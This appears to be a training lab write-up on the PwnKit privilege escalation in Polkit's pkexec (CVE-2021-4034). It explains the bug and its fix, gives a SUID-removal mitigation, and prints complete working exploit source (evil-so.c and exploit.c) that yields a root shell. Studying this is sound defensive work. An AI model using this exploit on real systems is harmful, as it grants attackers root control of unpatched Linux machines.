Exploiting PwnKit (CVE-2021-4034): Techniques & Defensive Measures
Introduction
In early 2022, a major security problem was found in Polkit’s pkexec tool, which is used by many Linux systems to manage permissions between regular users and system processes. Known as CVE-2021-4034 or "PwnKit," this issue had been hiding in the code since it was first introduced back in May 2009.
The problem occurs because pkexec doesn’t handle command-line arguments correctly, allowing a regular user to change certain environment variables like GCONV_PATH. This trick lets them run any code they want with root privileges, giving them complete control over the system. No special permissions or complicated steps are needed to exploit this bug.
While pkexec saw widespread adoption and exploiting the flaw posed little challenge, PwnKit prompted a flurry of security warnings. Malicious actors moved swiftly to craft and circulate exploitations of the weakness, exposing Linux machines to complete compromise.
What is Polkit?
Polkit, initially introduced as PolicyKit, provides a consistent mechanism to control system-level access and permissions. It was originally created and maintained by David Zeuthen at Red Hat and is now part of the freedesktop.org project. Since its inception, Polkit has been adopted by several major Linux distributions, including Ubuntu, Fedora, and openSUSE.
In 2012, with the release of version 0.105, the project underwent a major overhaul, breaking backward compatibility and renaming itself from PolicyKit to Polkit. Despite these changes, the underlying vulnerability in pkexec had remained undetected since its first release in 2009.
Source: Polkit
Vulnerability Overview
CVE-2021-4034 aka (PwnKit)
This tool is using SUID-root to run commands as another user, normally the super user (root). However, the flaw arises from the sloppy processing of command line arguments. An out-of-bounds read and write occurs in main() of pkexec, posing this security risk.
Therefore, by setting environment variables like GCONV_PATH malicious code can be executed as the super user.
CVE Identifier: CVE-2021-4034
Vulnerability: Affects pkexec in Polkit, present since May 2009. This vulnerability allows local unprivileged users to escalate privileges to root due to improper handling of command-line arguments. Attackers can exploit this by manipulating the environment variables passed to pkexec, resulting in arbitrary code execution.
Initial Reporting: Discovered and reported by Qualys Research Team on January 11th, 2022.
Impacted Software:
Polkit Versions: All versions of pkexec since its introduction in 2009.
Linux Distributions: Most major distributions (e.g., Ubuntu, Debian, Fedora, CentOS).
Mitigation: Apply patches provided by respective Linux distributions or remove the SUID from /usr/bin/pkexec (chmod 0755 /usr/bin/pkexec).
CVSS Score: 7.8 (High)
Technical Details
The root cause of the vulnerability is the way pkexec processes its argc (argument count) and argv (argument vector) parameters. If the argc value is zero, the argument list argv becomes empty ({NULL}).
This condition causes the program to access argv[0] and argv[1] without proper bounds checking, leading to the following outcomes:
Out-of-bounds Read: pkexec reads argv[1], which actually points to envp[0] (the first environment variable) because the argv and envp pointers are contiguous in memory.
Out-of-bounds Write: If an executable file with the name defined by the environment variable PATH is found, its path is written back to envp[0], thereby overwriting the environment variable.
This out-of-bounds write can reintroduce an "unsecure" environment variable (e.g., LD_PRELOAD) into pkexec's environment, which normally would be removed by ld.so in the context of SUID programs, leading to arbitrary code execution.
Key Components Leading to Exposure
Improper Argument Handling: pkexec does not validate the number of arguments passed, leading to an out-of-bounds read and write when argc is zero.
Memory Contiguity of argv and envp: Due to memory contiguity, argv[1] can point to envp[0], allowing manipulation of environment variables.
Reintroduction of Insecure Environment Variables: Attackers can reintroduce variables like GCONV_PATH, which are usually removed for security, resulting in arbitrary code execution.
Exploitation Details
Attack Vector
An attacker leverages pkexec by manipulating environment variables to gain access to root privileges.
This is achieved by crafting a specific environment setup using the GCONV_PATH variable to execute arbitrary code.
Exploit Steps
Trigger pkexec with No Arguments: Execute pkexec with an empty argc value, causing an out-of-bounds read from envp.
Manipulate GCONV_PATH: Set GCONV_PATH to reference a malicious shared library.
Execute the Exploit: Gain code execution as pkexec reads the manipulated envp and loads the malicious shared library, granting root shell access.
The commit for fixing CVE-2021-4034 made a total of 25 additions and 3 deletions across two files:
pkcheck.c: Added 5 lines to check argc at the start and exit if it's less than 1.
pkexec.c: Added 20 lines and removed 3 lines.
Major changes include adding a check for argc < 1, exiting if true, and handling argv pointers more securely to prevent out-of-bounds writes.
These changes address the improper handling of command-line arguments to mitigate privilege escalation vulnerabilities.
Setup Environment
This environment has a vulnerable version of Polkit’s pkexec utility installed on an Ubuntu Instance. We’ll be exploiting the local privilege escalation vulnerability in the Polkit's pkexec utility to gain root access.
Acknowledgement
The setup code is based on the following Github repository:
Step 1: Check the system information.
Commands:
uname -a
cat /etc/issue
We have a Ubuntu 20.04 instance running 5.4.0-107-generic kernel.
Step 2: Check all available SUID binaries.
Run the following command to find all SUID binaries:
Command:
find / -perm -4000 2>/dev/null
/usr/bin/pkexec
is a SUID binary.
Information:
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. Polkit allows a level of control of centralized system policy.
Reference: https://en.wikipedia.org/wiki/Polkit
pkexec utility is a part of Polkit. It is used to execute commands as another user, similar to sudo:
Reference: https://linux.die.net/man/1/pkexec
Check the permissions of pkexec binary:
Command:
ls -al /usr/bin/pkexec
pkexec is a SUID root binary.
Step 3: Check the pkexec utility version.
Commands:
/usr/bin/pkexec
/usr/bin/pkexec --version
pkexec version 0.105 is installed on the system.
Step 4: Identify the vulnerabilities in the installed version of the pkexec utility.
Look for the following search string:
Search string:
pkexec version 0.105
The search results refer to a local privilege escalation (LPE) vulnerability in the detected version of polkit.
The CVE corresponding to the listed issue is CVE-2021-4034.
Step 5: Open the packetstormsecurity link.
URL: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
Notice the exploit code is present on this page.
Step 6: Save the exploit code to individual files.
Save the code corresponding to Makefile, evil-so.c, and exploit.c in the respective files:
Makefile:
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
—--------------------------------------------------------------------------
evil-so.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
—--------------------------------------------------------------------------
exploit.c:
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
This is a proof of concept (PoC) CVE-2021-4034 exploit for the PwnKit vulnerability in pkexec that allows you to escalate privileges by exploiting how Polkit handles environment variables.
The way that this PoC works is by abusing the lack of sanitation enforced on environment variables provided to pkexec, allowing it to be misled into loading a malicious shared object (evil.so). It takes advantage of the gconv module-loading system and causes pkexec to load a binary that provides both root access and an interactive shell running as root. This could happen without needing special permissions or elaborate configurations, complex and easily exploitable back to a few days before it was patched.
evil-so.c:
This file defines two functions: gconv() and gconv_init(), which are part of the gconv (GNU conversion) mechanism.
The real exploit happens in gconv_init(), which:
Calls setuid(0);, setgid(0);, and setgroups(0); to elevate the privileges to root.
Executes /bin/sh to provide the attacker with a root shell.
Key points of the code:
envp: This defines the environment variables that are passed to pkexec.
DIR: Specifies the directory where the exploit files are stored (evildir).
PATH=GCONV_PATH=.: This is crucial. It tricks pkexec into thinking that the current directory contains a valid gconv module, allowing the exploit to inject the malicious shared library (evil.so).
SHELL and CHARSET: These are set to ryaagard, a placeholder that forces pkexec to call the gconv system, which looks for charset conversion modules (this is part of the Polkit vulnerability).
Once these files are saved, you should have three files in your home directory:
Step 7: Compile the exploit code.
Commands:
make all
ls
Two files, namely evil.so and exploit, are generated.
Step 8: Run the generated exploit binary.
Check the id before and after running the exploit binary:
Commands:
id
./exploit
id
We have obtained a root shell after running the exploit binary.
The important part is the ease of exploitation of this memory corruption vulnerability. Despite being a memory corruption issue, the utility is instantly and reliably exploitable in an architecture-independent manner.
If you wish to dig down and find out more about the vulnerability and how the exploitation is done, it is worth checking the advisory published by the Qualys team: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Mitigation
Mitigating this attack is very simple even without applying a patch. Just remove the SUID-bit from pkexec using the command below, and it will no longer be able to run with elevated privileges
chmod 0755 /usr/bin/pkexec
This quick fix prevents unauthorized privilege escalation and keeps your system safe until an official update is applied. Patches from the respective linux distributions will mitigate the vulnerability.
Conclusion:
In conclusion, over a surprising ten years of quiet, unknown vulnerability that affects innumerable Linux systems gradually came to light as PwnKit (CVE-2021-4034). Its discovery and quick utilization by attackers re-emphasized on-going vigilance in security-critical components
References:
Try this exploit for yourself! With an INE Subscription access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!